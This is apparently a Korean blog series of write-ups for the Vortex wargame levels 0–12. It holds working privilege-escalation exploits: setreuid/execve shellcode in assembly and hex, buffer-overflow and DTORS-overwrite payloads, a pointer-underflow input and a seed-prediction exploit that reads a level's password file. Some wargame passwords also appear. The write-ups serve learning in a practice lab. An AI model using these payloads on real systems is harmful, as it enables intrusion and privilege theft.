vortex12
내용을 보시려면 비밀번호를 입력하세요.
오랫만에 풀어보는 vortex. 문제 설명을 보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | #include <stdio.h> #include <string.h> int main( int argc, char **argv) { char *p; char *q; char *r; char *s; if (argc < 3) { exit (0); } p = ( char *) malloc (0x800); q = ( char *) malloc (0x10); r = ( char *) malloc (0x800); strcpy (r , argv[1]); s = ( char *) malloc (0x10); strncpy (s , argv[2], 0xf); exit (0); } |
vortex12 (0) | 2014.01.02 |
---|---|
vortex level10 (0) | 2011.04.18 |
vortex level8 (0) | 2010.12.09 |
vortex level3 (0) | 2009.10.03 |
vortex level1 (0) | 2009.09.24 |
vortex level0 (0) | 2009.09.23 |
Vortex Level10에 대한 설명입니다.
Random?
Read in 20 integers and write the seed used to generate those numbers in unsigned little endian format. You have a time limit of 30 seconds to do this.
"20개의 정수를 읽고 이 정수값을 생성하는 seed를 30초 안에 써라" 라고 하네요.
파일을 실행한 결과는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | v1 = times(&buffer); tmp = buffer.tms_cstime + buffer.tms_cutime + buffer.tms_utime + buffer.tms_stime + v1; tmp += clock (); tmp += time (0); num = tmp; if ( tmp < 0 ) { num = tmp + 255; } tmp = 128 - (tmp - (num >> 8 << 8)); seed = tmp + time (0); |
seed 를 생성하는 루틴에서 사용하는 함수들은 다음과 같습니다.
1) times function.
NAME
times - get process times
SYNOPSIS
#include <sys/times.h>
clock_t times(struct tms *buf);
DESCRIPTION
times() stores the current process times in the struct tms that buf points to. The struct tms is as defined in <sys/times.h>:
struct tms {
clock_t tms_utime; /* user time */
clock_t tms_stime; /* system time */
clock_t tms_cutime; /* user time of children */
clock_t tms_cstime; /* system time of children */
};
times() 함수는 현재 프로세스 타임을 tms구조체에 되돌려줍니다.
tms_utime는 프로세스가 호출한 명령을 수행하기 위해서 소비된 시간이다.
tms_stime는 프로세스의 명령을 시스템차원에서 실행하는데 소비된 시간이다.
tms_cutime은 종료된 모든 자식프로세스가 소비한 tms_utime이다.
tms_cstime은 종료된 모든 자식프로세스가 소비한 tms_stime이다.
2) clock() function - 프로그램이 실행된 후 경과한 Clock Tick을 반환
To get a process' CPU time, you can use the clock function. This facility is declared in the header file time.h. In typical usage, you call the clock function at the beginning and end of the interval you want to time, subtract the values, and then divide by CLOCKS_PER_SEC (the number of clock ticks per second) to get processor time, like this:
#include <time.h>
clock_t start, end;
double cpu_time_used;
start = clock(); ... /* Do the work. */
end = clock();
cpu_time_used = ((double) (end - start)) / CLOCKS_PER_SEC;
3) time() function
http://www.joinc.co.kr/modules/moniwiki/wiki.php/article/unixtime
1970년 1월 1일(GMT)를 기준으로 지금까지 흐른 시간을 초 단위로 측정
위의 함수들을 조합해서 seed를 생성한 후에 rand() 함수로 값을 찍습니다.
이 루틴을 그대로 이용해서 level10으로 넘기면 될거 같네요.
처음엔 파일로 쓴 후에 읽게 했습니다. Local system 인 ubuntu 에서는 성공했지만
이 느려터진 vortex 시스템에선 계속 "None, try again" 만 뜨더군요.
파일로 쓰는 시간을 줄일 수 없을까 하다, Pipe 를 이용해서 해결했습니다.
이 문제를 푼게 올해 초라서.. 지금 다시 돌려보니 깔끔하게 떨어지진 않네요 흑..
사용되는 연산이 적으면 아무래도 시스템 성능에 영향을 더 받겠죠?
File, Pipe 이외에 더 적은 연산을 수행하는 방법이 없을까요.
풀이에 사용한 코드 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 | #include <stdio.h> #include <sys/times.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <fcntl.h> #define LEVEL10 "/vortex/level10" int main( void ) { struct tms buffer; clock_t v1; int num,tmp,i,j,pid; unsigned int seed; int buf[22] = {0}; char result[16] = {0}; char last[16] = {0}; int p[2] = {0}; char temp[4] = {0}; char response[256] = {0}; //char action[] = "ls -al > /tmp/result\n"; char action[] = "cat /etc/vortex_pass/vortex11 > /tmp/result\n" ; char end[] = {0}; v1 = times(&buffer); tmp = buffer.tms_cstime + buffer.tms_cutime + buffer.tms_utime + buffer.tms_stime + v1; tmp += clock (); tmp += time (0); num = tmp; if ( tmp < 0 ) { num = tmp + 255; } tmp = 128 - (tmp - (num >> 8 << 8)); seed = tmp + time (0); printf ( "seed : %d\n" , seed); sprintf (result, "%x" ,seed); j=3; for (i=0;i< strlen (result); i=i+2) { sprintf (temp, "%c%c" ,result[i],result[i+1]); last[j] = strtol (temp,NULL,16); j--; } if 1 srand (seed); setvbuf (stdout, 0, 2,0); for ( i = 0; i < tmp; ++i) { rand (); } printf ( "[" ); for ( i = 0; i <= 19; ++i) { buf[i] = rand (); printf ( " %08x," , buf[i]); } printf ( "]\n" ); #endif pipe(p); if ((pid =fork()) == 0) { dup2(p[0],0); close(p[1]); execl( "./level10" , "level10" ,NULL); } else { close(p[0]); write(p[1], last, strlen (last)); } write(p[1], action, sizeof (action)); sleep(1); write(p[1], end, sizeof (end)); return 0; } |
vortex12 (0) | 2014.01.02 |
---|---|
Vortex11 (3) | 2013.04.02 |
vortex level8 (0) | 2010.12.09 |
vortex level3 (0) | 2009.10.03 |
vortex level1 (0) | 2009.09.24 |
vortex level0 (0) | 2009.09.23 |
---------------------------------------------------------------------------------------------------
put_string:
call start
xor %eax,%eax
xor %ebx,%ebx
xor %ecx,%ecx
mov $0x1ff,%cx # vortex9의 uid 511을 넣는다.
mov $0x1ff,%bx
mov $0x46,%al
int $0x80 # setreuid(511,511);
xor %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f # /bin//sh 문자열을 만들어서
mov %esp,%ebx # ebx에 넣고
push %eax
push %ebx
mov %esp,%ecx # 앞서 만든 문자열 주소를 ecx에 넣고
mov %eax,%edx # NULL을 edx로
mov $0xb,%al
int $0x80 # execve("/bin//sh", "/bin//sh", NULL)
위의 코드에서 뽑아낸 최종 쉘코드.
\xeb\x36\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb2\x07\x66\xb9\x10\x10\x30\xc9\xbb\x10\x80\x04\x08\x30\xdb\xb0\x7d\xcd\x80\x31\xd2\x31\xc9\xbf\x71\x85\x04\x08\xb1\x31\x88\xca\xc1\xe9\x02\xfc\xf3\xa5\x89\xd1\x83\xe1\x03\xf3\xa4\xe8\xc5\xff\xff\xff\x31\xc0\x31\xdb\x31\xc9\x66\xb9\xff\x01\x66\xbb\xff\x01\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
생성한 쉘코드를 eggshell로 환경변수에 집어넣고 unsafecode에서 strcpy 될때 ebp-0x408(1032) 부터 복사되므로 ebp까지 덮도록 1036개의 쓰레기값으로 채운 후에 ret를 eggshell의 주소로 지정해준다.
머 대충 이런식으로.. /vortex/level8 `python -c 'print "\x41"*1036+"\xf0\xff\x7f\xbf"'`
쉘이 떴다!! 오예~! 스샷은 찍기 귀찮아서.. ci41)GJhb
vortex12 (0) | 2014.01.02 |
---|---|
Vortex11 (3) | 2013.04.02 |
vortex level10 (0) | 2011.04.18 |
vortex level3 (0) | 2009.10.03 |
vortex level1 (0) | 2009.09.24 |
vortex level0 (0) | 2009.09.23 |
*
* 0xbadc0ded.org Challenge #02 (2003-07-08)
*
* Joel Eriksson <je@0xbadc0ded.org>
*/
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
unsigned long val = 31337;
unsigned long *lp = &val;
int main(int argc, char **argv)
{
unsigned long **lpp = &lp, *tmp;
char buf[128];
if (argc != 2)
exit(1);
strcpy(buf, argv[1]);
if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
exit(2);
tmp = *lpp;
**lpp = (unsigned long) &buf;
*lpp = tmp;
exit(0);
}
level3의 소스. strcpy를 이용한 BOF 가 가능할 것으로 보인다. 서버에서 디버깅을 해보았다.
0x0804835c <main+0>: push %ebp
0x0804835d <main+1>: mov %esp,%ebp
0x0804835f <main+3>: sub $0x98,%esp 스택을 0x98만큼 확장
0x08048365 <main+9>: and $0xfffffff0,%esp
0x08048368 <main+12>: mov $0x0,%eax
0x0804836d <main+17>: sub %eax,%esp
0x0804836f <main+19>: movl $0x80494a0,-0xc(%ebp) 0x80494a0 의 값을 lpp(ebp) -12 에 넣는다.
0x08048376 <main+26>: cmpl $0x2,0x8(%ebp) argc(ebp + 8)와 2를 비교
0x0804837a <main+30>: je 0x8048386 <main+42>
0x0804837c <main+32>: sub $0xc,%esp
0x0804837f <main+35>: push $0x1
0x08048381 <main+37>: call 0x804828c exit@plt argc가 2가 아니면 exit 호출.
0x08048386 <main+42>: sub $0x8,%esp
0x08048389 <main+45>: mov 0xc(%ebp),%eax argv[0]을 eax에 넣는다.
0x0804838c <main+48>: add $0x4,%eax argv[0] + 4
0x0804838f <main+51>: pushl (%eax) argv[1]의 주소를 스택에 넣는다.
0x08048391 <main+53>: lea -0x98(%ebp),%eax ebp - 0x98 (152) 의 주소를 eax에 push
0x08048397 <main+59>: push %eax
0x08048398 <main+60>: call 0x804829c <strcpy@plt> strcpy 호출
0x0804839d <main+65>: add $0x10,%esp
0x080483a0 <main+68>: mov -0xc(%ebp),%eax lpp 를 eax로 옮기고
0x080483a3 <main+71>: and $0xffff0000,%eax 0xffff0000 와 and 연산
0x080483a8 <main+76>: cmp $0x8040000,%eax 0x8040000 와 같으면
0x080483ad <main+81>: je 0x80483b9 <main+93> main + 93 으로 jump
0x080483af <main+83>: sub $0xc,%esp
0x080483b2 <main+86>: push $0x2
0x080483b4 <main+88>: call 0x804828c <exit@plt> exit(2);
0x080483b9 <main+93>: mov -0xc(%ebp),%eax lpp를 eax로
0x080483bc <main+96>: mov (%eax),%eax lpp가 가리키는 값을 eax로 넣는다
0x080483be <main+98>: mov %eax,-0x10(%ebp) eax 를 ebp - 0x10으로 (tmp = *lpp)
0x080483c1 <main+101>: mov -0xc(%ebp),%eax
0x080483c4 6 <main+106>: lea -0x98(%ebp),%eax buf의 주소(ebp - 98)를 eax에 넣는다
0x080483cc <main+112>: mov %eax,(%edx) eax를 edx가 포인팅하는 주소로(**lpp = &buf)
0x080483ce <main+114>: mov -0xc(%ebp),%edx lpp를 edx로
0x080483d1 <main+117>: mov -0x10(%ebp),%eax tmp를 eax로
0x080483d4 <main+120>: mov %eax,(%edx) tmp의 값을 lpp가 가키리는 곳에 넣는다 *lpp = tmp
0x080483d6 <main+122>: sub $0xc,%esp
0x080483d9 <main+125>: push $0x0
0x080483db <main+127>: call 0x804828c <exit@plt>
End of assembler dump
스택의 모습을 그려보면 아래와 같다.
[buf ] [ dummy] [ tmp ] [ lpp ] [ dummy ] [ebp] [ret]
128 8 4 4 8 4 4
먼저 기본적인 BOF를 시도해보았다.
[shellcode] [NULL] [lpp] [padding][shellcode`s address]
34 106 4 12 4
/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1
\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f
\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\xa0\x94\x04\x08'
+'\x90'*12+'\x40\xf5\x7f\xbf'"`
Shellcode는 shell-storm.org에서 setreuid 를 사용한 34 바이트 짜리를 사용.
(http://www.shell-storm.org/shellcode/files/shellcode-399.php)
세그먼트 폴트가 발생하며 종료되었다. 확인해보니 return address 가 buf의 주소로 바뀌었지만 쉘은 떨어
지지 않았다. 아마도 exit 함수로 바로 종료되기 때문일 것이다.
문제에 첨부된 문서대로 DTOR_END를 이용해보자
DTOR_END의 주소는 08049574에서 4를 더한 08049578 이다.
[shellcode] [NULL] [lpp]
/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89
\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68
\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\x78\x95\x04
\x08'"`
위와 같이 실행하면 0x080483cc 에서 세그 폴트가 발생한다. 0x080483cc는 바로 이 부분이다.
**lpp = (unsigned long) &buf;
DTOR_END의 주소인 08049578을 그대로 써주면 이 주소에 있는 값인 0 이 포인팅하는 곳에 값을 넣으려해서
에러가 발생하게 된다. 원하는 곳을 가리키기 위해서 08049578를 가리키는 0804xxxx 주소가 필요하다.
어디서 이 주소를 구할수 있을까 한참을 삽질하다 스파게티코더님 블로그(http://semtle.tistory.com/146)
에서 원하는 정보를 얻을 수 있었다.
"용자여.. __DTOR_END__ 를 가리키고 있는 p.0 섹션이라는게 존재한답니다."
아 이런녀석이 있는지 전혀 몰랐다.. objdump로 .data 영역의 컨텐츠를 긁어봐도 p.0 섹션을 확인할 수 있다.
/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\x98\x94\x04\x08'"`
vortex12 (0) | 2014.01.02 |
---|---|
Vortex11 (3) | 2013.04.02 |
vortex level10 (0) | 2011.04.18 |
vortex level8 (0) | 2010.12.09 |
vortex level1 (0) | 2009.09.24 |
vortex level0 (0) | 2009.09.23 |
엉뚱하게 깊이 들어가서 상당히 헤멨다.
main함수에서 선언한 두 buf 와 ptr이 스택에 생성된 모습을 그려보면 쉽게 포인트를 잡을 수 있다.
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
스택에 쌓인 모습은 대충 이런식일 것이다.
--------------- High addresss
ret
---------------
ebp
---------------
buf
---------------
ptr
---------------
x
--------------- Low address
ptr은 buf 의 주소 + 256 의 위치를 가르키고 있는데
case '\\': ptr--; break; 이 구문에 의해 ptr의 값을 낮출 수가 있다.
스택은 높은주소에서 낮은 주소로 자라기 떄문에 ptr의 값을 계속 낮추다 보면
buf의 영역을 넘어서 ptr을 자신을 가리키게 된다.
그 상태에서 아무 값이나 입력하면
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
요기에 걸려서 ptr이 포인팅하는 곳, 즉 ptr의 주소에 입력한 값을 넣게 된다.
매크로 함수 e() 를 보자.
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
ptr과 0xff000000을 AND 연산해서 0xca000000과 같으면 { } 안의 구문을 실행 시켜 쉘을 획득하게 된다. 0xff는 11111111이므로 AND 연산해서 0xca가 나오는 것은 0xca 자신 뿐이다.
ptr은 buf + 256 의 주소값을 가지고 있어서 -257을 하면 ptr 자신을 가리킬 것이다.
주소값은 4바이트에 Little endian 이므로 16진수 형태로 CA 를 넣게되면 ptr 주소의 첫 1바이트를 바꿀 수 있어서 쉘을 얻을 수 있을 것이다.
처음엔 이렇게 시도를 해보았다.
perl -e 'print "\\"x257,"\xca"'|./level1
그냥 All done 출력하고 끝이난다. 흠.. 기대한 결과가 나오질 않았다. 이상하다 싶어서 코드를 조금 수정해서 로컬에서 주소값을 찍어보았다.
perl -e 'print "\\"x257,"\xca","\xca"'|./level1
오.. 쉘이 실행되는 것을 볼 수 있다. 왜 이런 현상이 생길까 곰곰히 생각해 보았다.
사실 문제를 풀때 코드를 자세하게 보지 않는 짓을 자주 저지른다. 이번에도 마찬가지였다.
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
default 구문에서 먼저 실행되고 나서 ptr에 x 를 집어 넣는다. 따라서 "\xca"를 입력하면 ptr의 값에
들어가게 되고, 한번 더 입력하면 다시 default 문에 걸려서 e() function이 실행된다. 으.. 삽질을..
그런데 막상 타겟 서버에서 이렇게 입력하니 shell 이 잠시 떨어졌다가 바로 종료된다.
문제가 무엇일까 생각하다 You may need to consider how bash handles EOF.. 라는
힌트에 주목했다. 표준 출력을 파이프를 통해 입력으로 넘길때 EOF가 같이 넘어가서 바로
종료되는 듯 했다.
(perl -e 'print "\\"x257,"\xca","\xca"';cat)|./level1
따라서 표준 입력으로 집어넣을때 cat을 이용해서 종료되지 않도록 실행해 보았더니 쉘이
떨어졌다!! README에 적힌대로 /etc/vortex_pass/vortex2 를 읽으면 23anbT\rE 라고
적힌 패스워드를 확인할 수 있다.
vortex12 (0) | 2014.01.02 |
---|---|
Vortex11 (3) | 2013.04.02 |
vortex level10 (0) | 2011.04.18 |
vortex level8 (0) | 2010.12.09 |
vortex level3 (0) | 2009.10.03 |
vortex level0 (0) | 2009.09.23 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 | #include <stdio.h> #include <stdlib.h> #include <arpa/inet.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #define SERVER "vortex.labs.pulltheplug.org" #define PORT "5842" #define TRUE 1 void error_handling( char *message); int main( int argc, char **argv) { int sock; int str_len; int option; socklen_t optlen; struct hostent *myent; struct in_addr myen; long int *add; unsigned int number, count; unsigned int total; struct sockaddr_in serv_addr; /************* socket initialize and connect ****************/ if (!(myent = gethostbyname(SERVER))) { printf ( "gethostbyname error\n" ); exit (0); } add = ( long int *)*myent->h_addr_list; myen.s_addr = *add; sock=socket(PF_INET, SOCK_STREAM, 0); if (sock == -1) error_handling( "socket() error" ); optlen = sizeof (option); option = TRUE; setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &option, sizeof (option)); memset (&serv_addr, 0, sizeof (serv_addr)); serv_addr.sin_family=AF_INET; serv_addr.sin_addr.s_addr=inet_addr(inet_ntoa(myen)); serv_addr.sin_port=htons( atoi (PORT)); if (connect(sock, ( struct sockaddr*)&serv_addr, sizeof (serv_addr))<0) error_handling( "connect() error!" ); /****************** main start ********************/ total = 0; count = 0; while (count <4){ if ((str_len = read(sock, ( char *)&number, sizeof (unsigned int )))==0) error_handling( "read() error!" ); printf ( "Message from server : %d \n" , number); memset (recv, 0x00, 64); count++; total += number; } printf ( "total = %d\n" , total); if ((str_len = write(sock, ( char *)&total, sizeof (unsigned int ))) == -1) ///write 1 error_handling( "write() error" ); if ((str_len = read(sock, recv, 64))==0) error_handling( "read() error!" ); printf ( "Message from server : %s \n" , recv); close(sock); return 0; } void error_handling( char *message) { fputs (message, stderr); fputc ( '\n' , stderr); exit (1); } |
vortex12 (0) | 2014.01.02 |
---|---|
Vortex11 (3) | 2013.04.02 |
vortex level10 (0) | 2011.04.18 |
vortex level8 (0) | 2010.12.09 |
vortex level3 (0) | 2009.10.03 |
vortex level1 (0) | 2009.09.24 |